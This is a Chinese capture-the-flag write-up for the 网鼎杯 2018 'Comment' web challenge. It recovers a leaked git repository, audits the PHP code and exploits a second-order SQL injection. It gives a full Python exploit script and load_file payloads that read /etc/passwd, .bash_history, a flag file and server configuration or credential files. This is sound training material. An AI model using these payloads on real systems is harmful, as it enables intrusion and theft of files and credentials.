题目

进入是有个发帖按钮。尝试发帖,跳转到登录。提示账号密码。那么猜密码,或者爆破,直接猜zhangwei666,正确。

提交留言,发现有的提交之后可以直接在comment.php查看,有的提交后则不显示。发现:在category中加入’’,”这些符号,则会留言不成功,推测应该是这样会导致语句执行出错而不成功。所以可以尝试’,”,看看是什么闭合方式。发现只有一个双引号会成功,那应该是单引号闭合了(因为单引号闭合,如果输入单引号则会有三个单引号,引发错误)

而在comment.php?id=1这里可能有注入,但是尝试注入也没有发现什么,异或也不行。所以还是尝试在登录注册这里来。

可以使用脚本先进行测试

import requests
from bs4 import BeautifulSoup
import re

url = "http://f0aafbd4-e538-4c85-8f03-f97935710ee7.node4.buuoj.cn:81/"

write = url + "write_do.php?do=write"
cookie = {
"PHPSESSID": "0uafn4oeh6ohgta0ebtqtshu12"
}
now_id = 9
payload = ""
data1 = {
"title": "1",
"category": payload,
"content": "1"
}
res = requests.post(write, data=data1, cookies=cookie)

comment = url + "write_do.php?do=comment"
data2 = {
"content": "123",
"bo_id": now_id + 1
}

res = requests.post(comment, data=data2, cookies=cookie)
# print(res.text)
soup = BeautifulSoup(res.text, 'lxml')
print(soup.select('.col-sm-5'))
con = re.findall('<div class="col-sm-5"><p>(.*?)</p></div>', res.text, re.S | re.M)
print(con)
print(con[0])
print(now_id)

但是没什么成果。继续查找其他信息。

发现可以xss,三个地方都可以写xss。但还是没什么用。

发现:控制台有: 程序员GIT写一半跑路了,都没来得及Commit :),那么用githacker来恢复一下。

githacker --url http://f0aafbd4-e538-4c85-8f03-f97935710ee7.node4.buuoj.cn:81/.git --output-folder ./buucomment
然后进入buucomment里面的文件夹里面
git log --reflog查看历史版本
有三个版本
git reset --hard 版本号 可以选择任何一个版本,可以一一查看,然后看下面的文件。结果是最新的那个版本的PHP文件正确。

代码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

审计源码

在write的时候,会将写的内容都进行addslashes,而在comment(评论)的时候则会取出category,这里就存在二次注入了。注入点在category处,而且最后呈现出来的是content处,所以我们两处进行一起处理。仔细看代码

	$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
这里是得需要多行注释/**/
所以我们需要输入
1、category=',content=sql,/*
2、content=*/# 井号为了注释后面的逗号
即形成
$sql = "insert into comment
set category = '',content=sql语句,/*',
content = '*/#',
bo_id = '$bo_id'";
sql语句可以是database(),user(),或者(select database())

做题

user()得出是root@localhost,一般 flag 就不会在数据库里面(因为如果在数据库中,不需要root权限)所以得用SQL注入读取本地文件。而且尝试读表,但是被过滤掉了information表,还有sys表由于版本问题无法使用
version()————5.5.64-MariaDB-1ubuntu0.14.04.1

payload1 = "',content=database(),/*" # ctf
payload1 = "',content=user(),/*" # root@localhost
payload1 = "',content=load_file('/etc/passwd'),/*"

读取用户的命令行历史
payload1 = "',content=(select (load_file('/home/www/.bash_history'))),/*"
cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start

读取在tmp目录下的文件
payload1 = "',content=(select (load_file('/tmp/html/.DS_Store'))),/*"
Bud1  strapIl bootstrapIlocblobF(

由于太多了所以转为hex来读取
payload1 = "',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*"

发现有flag文件,则读取
payload1 = "',content=(select hex(load_file('/tmp/html/flag_8946e1ff1ee3e40f.php'))),/*"
发现是假的,则读取
payload1 = "',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*"

exp

import requests
from bs4 import BeautifulSoup
import re

url = "http://c75e34b6-4ada-4c6f-b471-6f05341fd7de.node4.buuoj.cn:81/"

write = url + "write_do.php?do=write"
cookie = {
"PHPSESSID": "8vv584b0t7so03n3ef2aej1e66"
}
now_id = 1
payload = "',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*"
data1 = {
"title": "1",
"category": payload,
"content": "1"
}
res = requests.post(write, data=data1, cookies=cookie)

comment = url + "write_do.php?do=comment"
data2 = {
"content": "*/#",
"bo_id": now_id + 1
}

res = requests.post(comment, data=data2, cookies=cookie)
# print(res.text)
soup = BeautifulSoup(res.text, 'lxml') # lxml HTML解析器
# print(soup.select('.col-sm-5'))#选择标签带有这个类名的
con = re.findall('<div class="col-sm-5"><p>(.*?)</p></div>', res.text, re.S | re.M) # find_all():可以根据标签名、属性、内容查找文档
# print(con)
print(con[0])
print(now_id)
print(bytearray.fromhex(con[0])) # 16进制转文本

思考与收获

过滤表,等操作可能就是不让你往那个方向走,引导你去另外的读取文件之类的操作。下次做数据库可以先看看版本,用户。

比较困难的题目,要试一试看看有没有源码泄露。

可以有多处一起拼接SQL语句,能拼就好。

读取文件,常用的敏感信息。

/etc/passwd https://blog.csdn.net/stone_fall/article/details/109078160 本题我们看到读取后最下面有个www用户,而且目录是/home/www

文件太大显示不出来,可以用hex函数。

还有其他一些爬虫的知识,选择标签,转换16进制,正则。

知识

select load_file(‘文件绝对路径’)

load_file(‘文件绝对路径’)读取文件并返回文件内容为字符串。使用此函数,该文件必须位于服务器主机上,必须指定完整路径的文件,必须有FILE权限。
一般用法步骤:

读/etc/init.d下的东西,这里有配置文件路径
?id=1’ union select 1,2,load_file(‘/etc/init.d/httpd’)
得到web安装路径
?id=1’ union select 1,2,load_file(‘/etc/apache/conf/httpd.conf’)
读取密码文件
?id=1’ union select 1,2,load_file(‘var/www/html/xxx.com/php/conn.inc.php’)

.bash_history

在etc/passwd下可以知道www用户(一般和网站操作相关的用户,由中间件创建)的目录是/home/www,可以查询这下面的.bash_history

每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件,保存了当前用户使用过的历史命令,方便查找。

.DS_Store

.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。通过.DS_Store可以知道这个目录里面所有文件的清单。

参考

https://fanygit.github.io/2021/08/17/[%E7%BD%91%E9%BC%8E%E6%9D%AF%202018]Comment%201/

https://mochazz.github.io/2018/09/01/2018%E7%BD%91%E9%BC%8E%E6%9D%AF%E7%AC%AC%E5%9B%9B%E5%9C%BA/#comment

https://blog.csdn.net/qq_45521281/article/details/105470232

https://blog.csdn.net/zhangzejia/article/details/79658221